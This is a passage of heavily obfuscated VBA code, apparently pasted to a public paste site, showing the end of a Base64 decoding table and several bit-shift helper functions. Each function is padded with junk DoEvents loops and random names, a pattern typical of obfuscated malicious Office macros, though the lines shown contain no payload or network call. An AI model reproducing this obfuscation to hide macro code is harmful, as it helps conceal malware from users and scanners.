  855. Next tCaUyAhAG
  856. Dim nvlQLLKPAtAf As Integer
  857. For nvlQLLKPAtAf = 1801 To 1801 + 5
  858. DoEvents
  859. Next nvlQLLKPAtAf
  860. t = t + 1
  861. Dim IwFdYBD As Integer
  862. For IwFdYBD = 1339 To 1339 + 5
  863. DoEvents
  864. Next IwFdYBD
  865. Dim nTatBrQRSQVGHlMxNRTLl As Integer
  866. For nTatBrQRSQVGHlMxNRTLl = 245 To 245 + 5
  867. DoEvents
  868. Next nTatBrQRSQVGHlMxNRTLl
  869. C = Asc(TcKhQpncb)
  870. Dim xCahoSffu As Integer
  871. For xCahoSffu = 1796 To 1796 + 5
  872. DoEvents
  873. Next xCahoSffu
  874. Dim uaUVTZKDK As Integer
  875. For uaUVTZKDK = 1650 To 1650 + 5
  876. DoEvents
  877. Next uaUVTZKDK
  878. aDecTab(C) = t  ' should be 64
  879. Dim cnhzwTpNF As Integer
  880. For cnhzwTpNF = 1682 To 1682 + 5
  881. DoEvents
  882. Next cnhzwTpNF
  883. Dim wTAeubh As Integer
  884. For wTAeubh = 1885 To 1885 + 5
  885. DoEvents
  886. Next wTAeubh
  887. End Function
  888. Private Function RTgCMP8ArHN(ByVal bytValue As Byte) As Byte
  889.  RTgCMP8ArHN = (bytValue * &H4) And &HFF
  890. Dim MITlAVISqlOQ As Integer
  891. For MITlAVISqlOQ = 94 To 94 + 5
  892. DoEvents
  893. Next MITlAVISqlOQ
  894. Dim VtdntpBRSoqz As Integer
  895. For VtdntpBRSoqz = 1836 To 1836 + 5
  896. DoEvents
  897. Next VtdntpBRSoqz
  898. End Function
  899. Private Function sWGD(ByVal bytValue As Byte) As Byte
  900.  sWGD = (bytValue * &H10) And &HFF
  901. Dim CLMKPntBfsrH As Integer
  902. For CLMKPntBfsrH = 552 To 552 + 5
  903. DoEvents
  904. Next CLMKPntBfsrH
  905. Dim nijhmQPQBc As Integer
  906. For nijhmQPQBc = 1737 To 1737 + 5
  907. DoEvents
  908. Next nijhmQPQBc
  909. End Function
  910. Private Function S2OPk(ByVal bytValue As Byte) As Byte
  911.  S2OPk = (bytValue * &H40) And &HFF
  912. Dim ObrGcPZwrUQ As Integer
  913. For ObrGcPZwrUQ = 722 To 722 + 5
  914. DoEvents
  915. Next ObrGcPZwrUQ
  916. Dim rGntMUKqlmk As Integer
  917. For rGntMUKqlmk = 1021 To 1021 + 5
  918. DoEvents
  919. Next rGntMUKqlmk
  920. End Function
  921. Private Function LBCH1U(ByVal bytValue As Byte) As Byte
  922.  LBCH1U = bytValue \ &H4
  923. Dim VhyMiVfDybdJ As Integer
  924. For VhyMiVfDybdJ = 2426 To 2426 + 5
  925. DoEvents
  926. Next VhyMiVfDybdJ
  927. Dim LnGmKcoc As Integer
  928. For LnGmKcoc = 1414 To 1414 + 5
  929. DoEvents
  930. Next LnGmKcoc
  931. End Function
  932. Private Function fmTcJ(ByVal bytValue As Byte) As Byte
  933.  fmTcJ = bytValue \ &H10
  934. Dim BDYAFSdyLzlM As Integer
  935. For BDYAFSdyLzlM = 1806 To 1806 + 5
  936. DoEvents
  937. Next BDYAFSdyLzlM
  938. Dim LAgccafQQ As Integer
  939. For LAgccafQQ = 2473 To 2473 + 5
  940. DoEvents
  941. Next LAgccafQQ
  942. End Function
  943. Private Function jWw(ByVal bytValue As Byte) As Byte
  944.  jWw = bytValue \ &H40
  945. Dim zTnhQC As Integer
  946. For zTnhQC = 1217 To 1217 + 5
  947. DoEvents
  948. Next zTnhQC
  949. Dim dYBDkqJRH As Integer
  950. For dYBDkqJRH = 1328 To 1328 + 5
  951. DoEvents
  952. Next dYBDkqJRH
  953. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement